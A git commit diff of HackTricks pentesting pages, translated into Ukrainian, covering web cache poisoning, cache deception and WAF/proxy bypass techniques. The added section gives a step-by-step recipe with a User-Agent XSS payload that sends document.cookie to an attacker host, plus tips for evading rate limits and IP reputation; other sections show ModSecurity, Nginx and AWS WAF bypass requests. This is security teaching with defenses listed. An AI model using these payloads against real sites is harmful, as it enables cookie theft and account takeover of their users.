Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p

2025-10-10 18:36:50 +00:00 · 2025-08-21 06:08:06 +00:00 · 2025-08-21 06:08:06 +00:00 · 6b58736a11
commit 6b58736a11
parent a83ad4a65d
2 changed files with 120 additions and 64 deletions
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -1,31 +1,31 @@
-# Пошкодження кешу та обман кешу
+# Cache Poisoning and Cache Deception

 {{#include ../../banners/hacktricks-training.md}}

-## Різниця
+## The difference

-> **У чому різниця між пошкодженням веб-кешу та обманом веб-кешу?**
+> **Яка різниця між отруєнням кешу веб-додатків та обманом кешу веб-додатків?**
 >
-> - У **пошкодженні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент подається з кешу іншим користувачам додатка.
-> - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачеві, у кеші, а потім зловмисник отримує цей контент з кешу.
+> - У **отруєнні кешу веб-додатків** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу.
+> - У **обмані кешу веб-додатків** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей контент з кешу.

-## Пошкодження кешу
+## Cache Poisoning

-Пошкодження кешу спрямоване на маніпулювання кешем на стороні клієнта, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частковими або під контролем зловмисника. Ступінь впливу залежить від популярності ураженої сторінки, оскільки забруднена відповідь подається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.
+Отруєння кешу спрямоване на маніпулювання кешем на стороні клієнта, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частковими або під контролем зловмисника. Ступінь впливу залежить від популярності ураженої сторінки, оскільки забруднена відповідь надається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.

-Виконання атаки на пошкодження кешу включає кілька етапів:
+Виконання атаки отруєння кешу включає кілька етапів:

 1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
 2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
-3. **Забезпечення кешування забрудненої відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час забруднення кешу, отримає забруднену відповідь.
+3. **Забезпечення кешування отруєної відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.

-### Виявлення: Перевірка HTTP заголовків
+### Discovery: Check HTTP headers

 Зазвичай, коли відповідь була **збережена в кеші**, буде **заголовок, що це вказує**, ви можете перевірити, на які заголовки слід звернути увагу в цьому пості: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).

-### Виявлення: Коди помилок кешування
+### Discovery: Caching error codes

-Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має статус код 400**, ви знаєте, що це вразливо (і ви навіть можете виконати DoS).
+Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має статус-код 400**, ви знаєте, що це вразливість (і ви навіть можете виконати DoS).

 Ви можете знайти більше варіантів у:

@ -35,7 +35,7 @@ cache-poisoning-to-dos.md

 Однак зверніть увагу, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним.

-### Виявлення: Ідентифікація та оцінка незахищених вхідних даних
+### Discovery: Identify and evaluate unkeyed inputs

 Ви можете використовувати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **грубої сили параметрів і заголовків**, які можуть **змінювати відповідь сторінки**. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти:
 ```html
@ -43,16 +43,16 @@ cache-poisoning-to-dos.md
 ```
 ### Викликати шкідливу відповідь від серверу

-З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви його зловживати (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)
+З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)

 ### Отримати відповідь в кеші

-Якщо ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
+Після того, як ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.

-Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не був кешований, і значення **`hit`**, коли він кешований.\
-Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешований знову: `Cache-Control: public, max-age=1800`
+Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не був закешований, і значення **`hit`**, коли він закешований.\
+Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде закешовано знову: `Cache-Control: public, max-age=1800`

-Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
+Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, яку він намагається націлити, він може отруїти кеш для користувачів, використовуючи цей конкретний `User-Agent`.

 Ще один заголовок, пов'язаний з кешем, - **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.

@ -81,9 +81,9 @@ cache-poisoning-to-dos.md

 У **[цьому звіті](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** пояснюється наступний простий сценарій:

- CDN кешуватиме все під `/share/`
- CDN НЕ декодуватиме і не нормалізуватиме `%2F..%2F`, отже, його можна використовувати як **перехід по шляху для доступу до інших чутливих місць, які будуть кешовані**, таких як `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Веб-сервер ДЕКОДУЄ і НОРМАЛІЗУЄ `%2F..%2F`, і відповість з `/api/auth/session`, який **містить токен автентифікації**.
+- CDN буде кешувати все під `/share/`
+- CDN НЕ декодує і не нормалізує `%2F..%2F`, отже, його можна використовувати як **перехід по шляху для доступу до інших чутливих місць, які будуть кешовані**, таких як `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- Веб-сервер БУДЕ декодувати і нормалізувати `%2F..%2F`, і відповість з `/api/auth/session`, який **містить токен автентифікації**.

 ### Використання отруєння веб-кешу для експлуатації вразливостей обробки куків

@ -113,18 +113,18 @@ cache-poisoning-via-url-discrepancies.md
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}

-### Використання кількох заголовків для експлуатації вразливостей отруєння веб-кешу <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Використання кількох заголовків для експлуатації вразливостей отруєння кешу <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-Іноді вам потрібно буде **експлуатувати кілька незаключених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
+Іноді вам потрібно буде **експлуатувати кілька незахищених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Використання з обмеженим заголовком `Vary`
+### Використання з обмеженим `Vary` заголовком

-Якщо ви виявили, що заголовок **`X-Host`** використовується як **ім'я домену для завантаження JS-ресурсу**, але заголовок **`Vary`** у відповіді вказує на **`User-Agent`**. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent:
+Якщо ви виявили, що **`X-Host`** заголовок використовується як **ім'я домену для завантаження JS ресурсу**, але **`Vary`** заголовок у відповіді вказує на **`User-Agent`**. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent:
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@ -156,53 +156,89 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo

 ### Автоматизоване тестування для Web Cache Poisoning

-[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність вразливостей до web cache poisoning. Він підтримує багато різних технік і є високонастроювальним.
+[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність отруєння веб-кешу. Він підтримує багато різних технік і є високонастроюваним.

 Приклад використання: `wcvs -u example.com`

+### Header-reflection XSS + CDN/WAF-допоміжне насіння кешу (User-Agent, авто-кешовані .js)
+
+Цей реальний шаблон поєднує примітив відображення на основі заголовка з поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, що надається іншим користувачам:
+
+- Основний HTML відображав ненадійний заголовок запиту (наприклад, `User-Agent`) в виконуваному контексті.
+- CDN видалив заголовки кешу, але існував внутрішній/оригінальний кеш. CDN також авто-кешував запити, що закінчуються статичними розширеннями (наприклад, `.js`), тоді як WAF застосовував слабшу перевірку вмісту до GET-запитів для статичних активів.
+- Особливості потоку запитів дозволили запиту до шляху `.js` впливати на ключ/варіант кешу, що використовувався для наступного основного HTML, що дозволило крос-користувацький XSS через відображення заголовка.
+
+Практичний рецепт (спостережено на популярному CDN/WAF):
+
+1) З чистого IP (уникати попередніх знижених репутацій), встановіть шкідливий `User-Agent` через браузер або Burp Proxy Match & Replace.
+2) У Burp Repeater підготуйте групу з двох запитів і використовуйте "Відправити групу паралельно" (однопакетний режим працює найкраще):
+- Перший запит: GET ресурсного шляху `.js` на тому ж походженні, відправляючи ваш шкідливий `User-Agent`.
+- Негайно після: GET основної сторінки (`/`).
+3) Перегони маршрутизації CDN/WAF плюс авто-кешований `.js` часто насіння отруєного кешованого HTML-варіанту, який потім надається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж виміри `Vary`, такі як `User-Agent`).
+
+Приклад заголовка навантаження (для ексфільтрації не-HttpOnly куків):
+```
+User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
+```
+Операційні поради:
+
+- Багато CDN приховують заголовки кешу; отруєння може з'явитися лише на багатогодинних циклах оновлення. Використовуйте кілька IP-адрес і обмежте швидкість, щоб уникнути тригерів обмеження швидкості або репутації.
+- Використання IP-адреси з власного хмари CDN іноді покращує стабільність маршрутизації.
+- Якщо присутня сувора CSP, це все ще працює, якщо відображення виконується в основному HTML-контексті, а CSP дозволяє вбудоване виконання або обходиться контекстом.
+
+Вплив:
+
+- Якщо сесійні куки не є `HttpOnly`, можливе нульове натискання ATO шляхом масового ексфільтрування `document.cookie` від усіх користувачів, яким подається отруєний HTML.
+
+Захист:
+
+- Припиніть відображення заголовків запитів у HTML; суворо кодуйте контекст, якщо це неминуче. Вирівняйте політики кешування CDN та походження і уникайте варіювання на ненадійних заголовках.
+- Переконайтеся, що WAF послідовно застосовує перевірку вмісту до запитів `.js` та статичних шляхів.
+- Встановіть `HttpOnly` (і `Secure`, `SameSite`) на сесійні куки.
+
 ## Вразливі приклади

 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

-ATS переслав фрагмент всередині URL без його видалення і згенерував ключ кешу, використовуючи лише хост, шлях і запит (ігноруючи фрагмент). Тому запит `/#/../?r=javascript:alert(1)` був надісланий на бекенд як `/#/../?r=javascript:alert(1)`, і ключ кешу не містив в собі payload, лише хост, шлях і запит.
+ATS переслав фрагмент всередині URL без його видалення і згенерував ключ кешу, використовуючи лише хост, шлях і запит (ігноруючи фрагмент). Тому запит `/#/../?r=javascript:alert(1)` був надісланий на бекенд як `/#/../?r=javascript:alert(1)`, а ключ кешу не містив корисного навантаження, лише хост, шлях і запит.

 ### GitHub CP-DoS

-Відправка неправильного значення в заголовку content-type викликала кешовану відповідь 405. Ключ кешу містив cookie, тому було можливо атакувати лише неавторизованих користувачів.
+Відправка неправильного значення в заголовку content-type викликала кешовану відповідь 405. Ключ кешу містив куки, тому було можливо атакувати лише неавторизованих користувачів.

 ### GitLab + GCP CP-DoS

-GitLab використовує GCP buckets для зберігання статичного контенту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тому було можливо надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб він повертав порожнє тіло відповіді. Це також могло підтримувати метод `PURGE`.
+GitLab використовує GCP бакети для зберігання статичного вмісту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тому було можливо надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб повернути порожнє тіло відповіді. Це також могло підтримувати метод `PURGE`.

 ### Rack Middleware (Ruby on Rails)

-У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка **`x-forwarded-scheme`** і встановити його як схему запиту. Коли заголовок `x-forwarded-scheme: http` надсилається, відбувається 301 редирект на те ж місце, що може призвести до відмови в обслуговуванні (DoS) цього ресурсу. Крім того, додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript-файлів з сервера зловмисника, що становить загрозу безпеці.
+У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка **`x-forwarded-scheme`** і встановити його як схему запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається перенаправлення 301 на те ж місце, що потенційно може викликати відмову в обслуговуванні (DoS) для цього ресурсу. Крім того, додаток може визнати заголовок `X-forwarded-host` і перенаправити користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript-файлів з сервера зловмисника, що становить загрозу безпеці.

-### 403 і Storage Buckets
+### 403 і сховища

 Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешування відповідей 403, ця поведінка може все ще бути присутня в інших проксі-сервісах.

-### Вставка параметризованих параметрів
+### Впровадження параметрів з ключами

-Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 цьому параметру призвело до кешованої помилки 400 Bad Request.
+Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований з правильного параметра `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 для цього параметра призвело до кешованої помилки 400 Bad Request.

 ### Правила User Agent

-Деякі розробники блокують запити з user-agent, які відповідають інструментам з високим трафіком, таким як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.
+Деякі розробники блокують запити з user-agent, які відповідають user-agent інструментів з високим трафіком, таких як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.

 ### Неправильні поля заголовків

-[**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи за межами вказаного діапазону **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request.
+[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request.

-### Знаходження нових заголовків
+### Пошук нових заголовків

 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

-## Cache Deception
+## Отруєння кешу

-Мета Cache Deception полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**.
+Мета отруєння кешу полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**.

-Перш за все, зверніть увагу, що **розширення**, такі як `.css`, `.js`, `.png` тощо, зазвичай **конфігуровані** для **збереження** в **кеші.** Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані у інших користувачів.
+Перш за все, зверніть увагу, що **розширення** такі як `.css`, `.js`, `.png` тощо зазвичай **налаштовуються** на **збереження** в **кеші.** Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані від інших користувачів.

 Інші речі для тестування:

@ -214,16 +250,16 @@ Cloudflare раніше кешував відповіді 403. Спроба до
 - _Використовуйте менш відомі розширення, такі як_ `.avif`

 Ще один дуже чіткий приклад можна знайти в цьому звіті: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збережеться результат.\
+У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збереже результат.\
 Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримували доступ раніше.

-Зверніть увагу, що **кеш-проксі** повинні бути **сконфігуровані** для **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу).
+Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу).

-Дізнайтеся тут, як виконати [атаки Cache Deceptions, зловживаючи HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
+Дізнайтеся тут, як виконати [атаки отруєння кешу, зловживаючи HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

 ## Автоматичні інструменти

- [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей до web cache poisoning у списку URL-адрес і тестування кількох технік ін'єкцій.
+- [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей отруєння веб-кешу в списку URL-адрес і тестування кількох технік впровадження.

 ## Посилання

@ -233,6 +269,8 @@ Cloudflare раніше кешував відповіді 403. Спроба до
 - [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
 - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
+- [Як я знайшов 0-Click Account takeover у публічному BBP і використав це для доступу до функцій адміністратора](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)


 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/proxy-waf-protections-bypass.md
+++ b/src/pentesting-web/proxy-waf-protections-bypass.md
@ -3,7 +3,7 @@
 {{#include ../banners/hacktricks-training.md}}


-## Обхід правил ACL Nginx за допомогою маніпуляцій з шляхами <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
+## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>

 Техніки [з цього дослідження](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).

@ -17,7 +17,7 @@ location = /admin/ {
 deny all;
 }
 ```
-Щоб запобігти обходам, Nginx виконує нормалізацію шляху перед його перевіркою. Однак, якщо сервер на стороні бекенду виконує іншу нормалізацію (видаляючи символи, які Nginx не видаляє), може бути можливим обійти цю захист.
+Щоб запобігти обходам, Nginx виконує нормалізацію шляху перед перевіркою. Однак, якщо сервер на стороні бекенду виконує іншу нормалізацію (видаляючи символи, які Nginx не видаляє), може бути можливим обійти цю захист.

 ### **NodeJS - Express**

@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
 fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 }
 ```
-Nginx налаштований на блокування доступу до `/admin.php`, але це можна обійти, отримавши доступ до `/admin.php/index.php`.
+Nginx налаштовано на блокування доступу до `/admin.php`, але це можна обійти, отримавши доступ до `/admin.php/index.php`.

 ### Як запобігти
 ```plaintext
@ -70,20 +70,20 @@ location ~* ^/admin {
 deny all;
 }
 ```
-## Обхід правил Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

-### Плутанина з шляхом
+### Path Confusion

 [**У цьому пості**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) пояснюється, що ModSecurity v3 (до 3.0.12) **неправильно реалізував змінну `REQUEST_FILENAME`**, яка повинна була містити доступний шлях (до початку параметрів). Це сталося через те, що він виконував декодування URL, щоб отримати шлях.\
 Отже, запит на кшталт `http://example.com/foo%3f';alert(1);foo=` в mod security буде вважати, що шлях - це лише `/foo`, оскільки `%3f` перетворюється на `?`, закінчуючи URL шлях, але насправді шлях, який отримає сервер, буде `/foo%3f';alert(1);foo=`.

 Змінні `REQUEST_BASENAME` та `PATH_INFO` також були під впливом цього багу.

-Щось подібне сталося в версії 2 Mod Security, що дозволило обійти захист, який заважав користувачам отримувати доступ до файлів з певними розширеннями, пов'язаними з резервними файлами (такими як `.bak`), просто надіславши крапку, закодовану в URL як `%2e`, наприклад: `https://example.com/backup%2ebak`.
+Щось подібне сталося в версії 2 Mod Security, що дозволило обійти захист, який заважав користувачам отримувати доступ до файлів з певними розширеннями, пов'язаними з резервними копіями (такими як `.bak`), просто надіславши крапку, закодовану в URL як `%2e`, наприклад: `https://example.com/backup%2ebak`.

-## Обхід AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

-### Неправильний заголовок
+### Malformed Header

 [Це дослідження](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) згадує, що було можливим обійти правила AWS WAF, застосовані до HTTP заголовків, надіславши "неправильний" заголовок, який не був правильно оброблений AWS, але був оброблений сервером на задньому плані.

@ -102,7 +102,7 @@ Connection: close\r\n

 ### Обмеження розміру запиту

-Зазвичай WAF мають певний обмеження довжини запитів для перевірки, і якщо запит POST/PUT/PATCH перевищує його, WAF не перевірятиме запит.
+Зазвичай WAF мають певний обмеження на довжину запитів для перевірки, і якщо запит POST/PUT/PATCH перевищує його, WAF не перевірятиме запит.

 - Для AWS WAF ви можете [**перевірити документацію**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**

@ -110,20 +110,37 @@ Connection: close\r\n

 - З [**документації Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**

-Старі веб-брандмауери з набором основних правил 3.1 (або нижче) дозволяють повідомлення, що перевищують **128 KB**, вимкнувши перевірку тіла запиту, але ці повідомлення не будуть перевірені на вразливості. Для новіших версій (набір основних правил 3.2 або новіший) те ж саме можна зробити, вимкнувши максимальне обмеження тіла запиту. Коли запит перевищує обмеження розміру:
+Старі веб-брандмауери з Core Rule Set 3.1 (або нижче) дозволяють повідомлення, що перевищують **128 KB**, вимкнувши перевірку тіла запиту, але ці повідомлення не будуть перевірені на вразливості. Для новіших версій (Core Rule Set 3.2 або новіше) те ж саме можна зробити, вимкнувши максимальне обмеження на розмір тіла запиту. Коли запит перевищує обмеження розміру:

 Якщо **режим запобігання**: Логування та блокування запиту.\
 Якщо **режим виявлення**: Перевіряє до межі, ігнорує решту та веде журнал, якщо `Content-Length` перевищує межу.

 - З [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**

-За замовчуванням WAF перевіряє лише перші 8KB запиту. Він може збільшити обмеження до 128KB, додавши розширену метадані.
+За замовчуванням WAF перевіряє лише перші 8KB запиту. Він може збільшити межу до 128KB, додавши розширену метадані.

 - З [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**

 До 128KB.

-### Обфускація <a href="#obfuscation" id="obfuscation"></a>
+### Прогалини в перевірці статичних активів (.js GETs)
+
+Деякі стеки CDN/WAF застосовують слабку або жодну перевірку вмісту для GET-запитів на статичні активи (наприклад, шляхи, що закінчуються на `.js`), при цьому все ще застосовуючи глобальні правила, такі як обмеження швидкості та репутація IP. У поєднанні з автоматичним кешуванням статичних розширень це може бути зловживано для доставки або посіву шкідливих варіантів, які впливають на наступні HTML-відповіді.
+
+Практичні випадки використання:
+
+- Надсилати корисні навантаження в ненадійних заголовках (наприклад, `User-Agent`) на GET до шляху `.js`, щоб уникнути перевірки вмісту, а потім негайно запитати основний HTML, щоб вплинути на кешований варіант.
+- Використовувати нову/чисту IP; як тільки IP буде позначено, зміни маршрутизації можуть зробити техніку ненадійною.
